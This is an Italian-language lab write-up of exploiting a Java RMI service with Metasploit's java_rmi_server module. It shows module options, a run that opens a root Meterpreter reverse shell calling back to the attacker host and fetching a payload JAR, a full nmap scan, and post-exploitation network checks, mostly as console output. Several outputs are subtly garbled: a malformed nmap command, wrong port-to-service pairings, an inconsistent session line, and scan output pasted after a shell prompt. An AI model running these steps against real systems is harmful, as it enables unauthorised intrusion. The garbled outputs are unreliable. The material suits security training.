

1. Modifica degli IP:

- Gli indirizzi IP delle macchine coinvolte sono stati riassegnati per garantire una configurazione di rete adeguata al contesto operativo.

2. Identificazione della vulnerabilità:

- Tramite msfconsole, è stata individuata la vulnerabilità "java_rmi" presente sulla macchina target.
- La ricerca della vulnerabilità è stata effettuata utilizzando il comando **search**.

3. Sfruttamento della vulnerabilità:

- Dopo l'identificazione, la vulnerabilità è stata configurata con i parametri necessari per l'esecuzione dell'exploit.
- L'exploit è stato avviato tramite il comando **run**, portando all'ottenimento di una shell Meterpreter con privilegi di root.

```
msf > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URI_PATH  |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| ID | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/70uF4T
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Sending request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.112:4444) => 192.168.11.112:56647 at 2024-12-20 10:19:47 +0100

meterpreter >

kali@kali:~$ sudo nmap -p -v -T 192.168.11.112
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-20 10:13 CET
Nmap scan report for 192.168.11.112
Host is up (0.00031s latency).
Not shown: 65535 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  java-rmi
1524/tcp  open  bindshell
2849/tcp  open  nfs
2121/tcp  open  ftp
3389/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5986/tcp  open  vnc
6080/tcp  open  x11
6667/tcp  open  irc
6697/tcp  open  irc
8080/tcp  open  http
8180/tcp  open  http
8787/tcp  open  drb
9818/tcp  open  java-rmi
9894/tcp  open  status
48936/tcp open  mountd
57815/tcp open  nlockmgr

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.41 seconds

kali@kali:~$
```

4. Verifica della configurazione di rete:

- Una volta ottenuto l'accesso con privilegi elevati, è stata eseguita un'analisi della rete interna.
- Sono stati utilizzati i comandi **ifconfig** e **route** per visualizzare rispettivamente la configurazione degli indirizzi IP e le rotte di instradamento attive sulla macchina compromessa.

```
rhost ⇒ 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/70oFt4T
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:56647) at 2024-12-20 10:19:47 +0100

meterpreter > getuid
Server username: root
meterpreter > ifconfig

Interface 1
=====
Name           : lo - lo
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 127.0.0.1
IPv4 Netmask    : 255.0.0.0
IPv6 Address    : ::1
IPv6 Netmask    : ::

Interface 2
=====
Name           : eth0 - eth0
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 192.168.11.112
IPv4 Netmask    : 255.255.255.0
IPv6 Address    : fe80::a00:27ff:fe6e:df86
IPv6 Netmask    : ::

meterpreter > route

IPv4 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----
  127.0.0.1       255.0.0.0         0.0.0.0      0      127.0.0.1
  192.168.11.112  255.255.255.0    0.0.0.0      0      192.168.11.112

IPv6 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----
  ::1             ::              ::        0      ::1
  fe80::a00:27ff:fe6e:df86  ::              ::        0      fe80::a00:27ff:fe6e:df86

meterpreter > 
```